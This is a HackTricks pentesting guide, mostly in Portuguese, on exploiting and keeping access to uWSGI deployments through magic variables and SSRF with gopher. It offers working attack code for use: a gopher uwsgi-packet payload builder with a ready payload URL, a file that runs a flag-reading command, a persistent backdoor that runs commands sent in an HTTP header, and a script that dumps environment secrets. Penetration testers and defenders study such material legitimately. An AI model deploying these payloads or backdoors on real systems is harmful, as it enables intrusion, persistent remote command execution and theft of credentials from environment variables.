WSGI Post-Exploitation Tricks
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
WSGI Overview
Web Server Gateway Interface (WSGI) é uma especificação que descreve como um servidor web se comunica com aplicações web, e como aplicações web podem ser encadeadas para processar uma requisição. uWSGI é um dos servidores WSGI mais populares, frequentemente usado para servir aplicações Python. Seu transporte binário nativo é o protocolo uwsgi (lowercase) que carrega um conjunto de parâmetros chave/valor (“uwsgi params”) para o servidor de aplicação backend.
Related pages you may also want to check:
SSRF (Server Side Request Forgery)
uWSGI Magic Variables Exploitation
uWSGI fornece “magic variables” especiais que podem alterar como a instância carrega e despacha aplicações. Essas variáveis não são headers HTTP normais — elas são parâmetros uwsgi transportados dentro da requisição uwsgi/SCGI/FastCGI do reverse proxy (nginx, Apache mod_proxy_uwsgi, etc.) para o backend uWSGI. Se uma configuração de proxy mapear dados controlados pelo usuário para parâmetros uwsgi (por exemplo via $arg_*, $http_*, ou endpoints expostos de forma insegura que falam o protocolo uwsgi), atacantes podem definir essas variáveis e obter execução de código.
Dangerous mappings in front proxies (nginx example)
Misconfigurações como a seguinte expõem diretamente as uWSGI magic variables à entrada do usuário:
location /app/ {
include uwsgi_params;
# DANGEROUS: maps query args into uwsgi params
uwsgi_param UWSGI_FILE $arg_f; # /app/?f=/tmp/backdoor.py
uwsgi_param UWSGI_MODULE $http_x_mod; # header: X-Mod: pkg.mod
uwsgi_param UWSGI_CALLABLE $arg_c; # /app/?c=application
uwsgi_pass unix:/run/uwsgi/app.sock;
}
Se o app ou recurso de upload permitir gravar arquivos em um caminho previsível, combiná-lo com os mapeamentos acima geralmente resulta em RCE imediato quando o backend carrega o arquivo/módulo controlado pelo atacante.
Principais Variáveis Exploitáveis
UWSGI_FILE - Carregar/Executar Arquivo Arbitrário
uwsgi_param UWSGI_FILE /path/to/python/file.py;
Carrega e executa um arquivo Python arbitrário como uma aplicação WSGI. Se um atacante puder controlar esse parâmetro através do uwsgi param bag, ele pode alcançar Remote Code Execution (RCE).
UWSGI_SCRIPT - Carregamento de script
uwsgi_param UWSGI_SCRIPT module.path:callable;
uwsgi_param SCRIPT_NAME /endpoint;
Carrega um script especificado como uma nova aplicação. Combinado com capacidades de upload ou escrita de arquivos, isso pode levar a RCE.
UWSGI_MODULE and UWSGI_CALLABLE - Carregamento Dinâmico de Módulos
uwsgi_param UWSGI_MODULE malicious.module;
uwsgi_param UWSGI_CALLABLE evil_function;
uwsgi_param SCRIPT_NAME /backdoor;
Esses parâmetros permitem carregar módulos Python arbitrários e chamar funções específicas dentro deles.
UWSGI_SETENV - Manipulação de Variáveis de Ambiente
uwsgi_param UWSGI_SETENV DJANGO_SETTINGS_MODULE=malicious.settings;
Pode ser usado para modificar variáveis de ambiente, potencialmente afetando o comportamento da aplicação ou carregando configurações maliciosas.
UWSGI_PYHOME - Manipulação do Ambiente Python
uwsgi_param UWSGI_PYHOME /path/to/malicious/venv;
Altera o ambiente virtual do Python, potencialmente carregando pacotes maliciosos ou diferentes interpretadores do Python.
UWSGI_CHDIR - Mudança de Diretório
uwsgi_param UWSGI_CHDIR /etc/;
Altera o diretório de trabalho antes de processar as requisições e pode ser combinado com outras funcionalidades.
SSRF + uwsgi protocol (gopher) pivot
Modelo de ameaça
Se a aplicação web alvo expõe uma primitiva SSRF e a instância uWSGI escuta em um socket TCP interno (por exemplo, socket = 127.0.0.1:3031), você pode falar o protocolo uwsgi cru via gopher e injetar variáveis mágicas do uWSGI.
Isso é possível porque muitas implantações usam um socket uwsgi não-HTTP internamente; o reverse proxy (nginx/Apache) traduz o HTTP do cliente para o conjunto de parâmetros uwsgi. Com SSRF+gopher você pode montar diretamente o pacote binário uwsgi e definir variáveis perigosas como UWSGI_FILE.
uWSGI protocol structure (referência rápida)
- Cabeçalho (4 bytes):
modifier1(1 byte),datasize(2 bytes little-endian),modifier2(1 byte) - Corpo: sequência de
[key_len(2 LE)] [key_bytes] [val_len(2 LE)] [val_bytes]
Para requisições padrão modifier1 é 0. O corpo contém parâmetros uwsgi como SERVER_PROTOCOL, REQUEST_METHOD, PATH_INFO, UWSGI_FILE, etc. Consulte a especificação oficial do protocolo para detalhes completos.
Construtor mínimo de pacotes (gerar gopher payload)
import struct, urllib.parse
def uwsgi_gopher_url(host, port, params):
body = b''.join([struct.pack('<H', len(k))+k.encode()+struct.pack('<H', len(v))+v.encode() for k,v in params.items()])
pkt = bytes([0]) + struct.pack('<H', len(body)) + bytes([0]) + body
return f"gopher://{host}:{port}/_" + urllib.parse.quote_from_bytes(pkt)
# Example URL:
gopher://127.0.0.1:5000/_%00%D2%00%00%0F%00SERVER_PROTOCOL%08%00HTTP/1.1%0E%00REQUEST_METHOD%03%00GET%09%00PATH_INFO%01%00/%0B%00REQUEST_URI%01%00/%0C%00QUERY_STRING%00%00%0B%00SERVER_NAME%00%00%09%00HTTP_HOST%0E%00127.0.0.1%3A5000%0A%00UWSGI_FILE%1D%00/app/profiles/malicious.json%0B%00SCRIPT_NAME%10%00/malicious.json
Exemplo de uso para forçar o carregamento de um arquivo previamente gravado no servidor:
params = {
'SERVER_PROTOCOL':'HTTP/1.1', 'REQUEST_METHOD':'GET', 'PATH_INFO':'/',
'UWSGI_FILE':'/app/profiles/malicious.py', 'SCRIPT_NAME':'/malicious.py'
}
print(uwsgi_gopher_url('127.0.0.1', 3031, params))
Envie a URL gerada através do SSRF sink.
Exemplo prático
Se você puder escrever um arquivo python no disco (a extensão não importa) com código como:
# /app/profiles/malicious.py
import os
os.system('/readflag > /app/profiles/result.txt')
def application(environ, start_response):
start_response('200 OK', [('Content-Type','text/plain')])
return [b'ok']
Gere e dispare um gopher payload que define UWSGI_FILE para este caminho. O backend irá importá-lo e executá-lo como uma WSGI app.
Post-Exploitation Techniques
1. Persistent Backdoors
File-based Backdoor
# backdoor.py
import subprocess, base64
def application(environ, start_response):
cmd = environ.get('HTTP_X_CMD', '')
if cmd:
result = subprocess.run(base64.b64decode(cmd), shell=True, capture_output=True, text=True)
response = f"STDOUT: {result.stdout}\nSTDERR: {result.stderr}"
else:
response = 'Backdoor active'
start_response('200 OK', [('Content-Type', 'text/plain')])
return [response.encode()]
Carregue-o com UWSGI_FILE e acesse-o sob um SCRIPT_NAME escolhido.
Persistência baseada no ambiente
uwsgi_param UWSGI_SETENV PYTHONPATH=/tmp/malicious:/usr/lib/python3.11/site-packages;
2. Divulgação de Informações
Environment Variable Dumping
# env_dump.py
import os, json
def application(environ, start_response):
env_data = {'os_environ': dict(os.environ), 'wsgi_environ': dict(environ)}
start_response('200 OK', [('Content-Type', 'application/json')])
return [json.dumps(env_data, indent=2).encode()]
Acesso ao Sistema de Arquivos
Combine UWSGI_CHDIR com um helper para servir arquivos para navegar por diretórios sensíveis.
3. Privilege Escalation ideias
- Se o uWSGI for executado com privilégios elevados e escreve sockets/pids de propriedade do root, abusar de env e mudanças de diretório pode ajudá-lo a gravar arquivos com proprietários privilegiados ou manipular o estado de runtime.
- Sobrescrever a configuração via variáveis de ambiente (
UWSGI_*) dentro de um arquivo carregado através deUWSGI_FILEpode afetar o modelo de processo e os workers para tornar a persistência mais furtiva.
# malicious_config.py
import os
# Override uWSGI configuration
os.environ['UWSGI_MASTER'] = '1'
os.environ['UWSGI_PROCESSES'] = '1'
os.environ['UWSGI_CHEAPER'] = '1'
Problemas de desync em reverse-proxy relevantes para cadeias uWSGI (recentes)
Deployments that use Apache httpd with mod_proxy_uwsgi have faced recent response-splitting/desynchronization bugs that can influence the frontend↔backend translation layer:
- CVE-2023-27522 (Apache httpd 2.4.30–2.4.55; also relevant to uWSGI integration prior to 2.0.22/2.0.26 fixes): cabeçalhos de resposta de origem forjados podem causar HTTP response smuggling quando
mod_proxy_uwsgiestá em uso. Upgrading Apache to ≥2.4.56 mitigates the issue. - CVE-2024-24795 (fixed in Apache httpd 2.4.59; uWSGI 2.0.26 adjusted its Apache integration): HTTP response splitting in multiple httpd modules could lead to desync when backends inject headers. In uWSGI’s 2.0.26 changelog this appears as “let httpd handle CL/TE for non-http handlers.”
These do not directly grant RCE in uWSGI, but in edge cases they can be chained with header injection or SSRF to pivot towards the uwsgi backend. During tests, fingerprint the proxy and version and consider desync/smuggling primitives as an entry to backend-only routes and sockets.
References
- uWSGI Magic Variables Documentation
- IOI SaveData CTF Writeup
- uWSGI Security Best Practices
- The uwsgi Protocol (spec)
- uWSGI 2.0.26 changelog mentioning CVE-2024-24795 adjustments
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


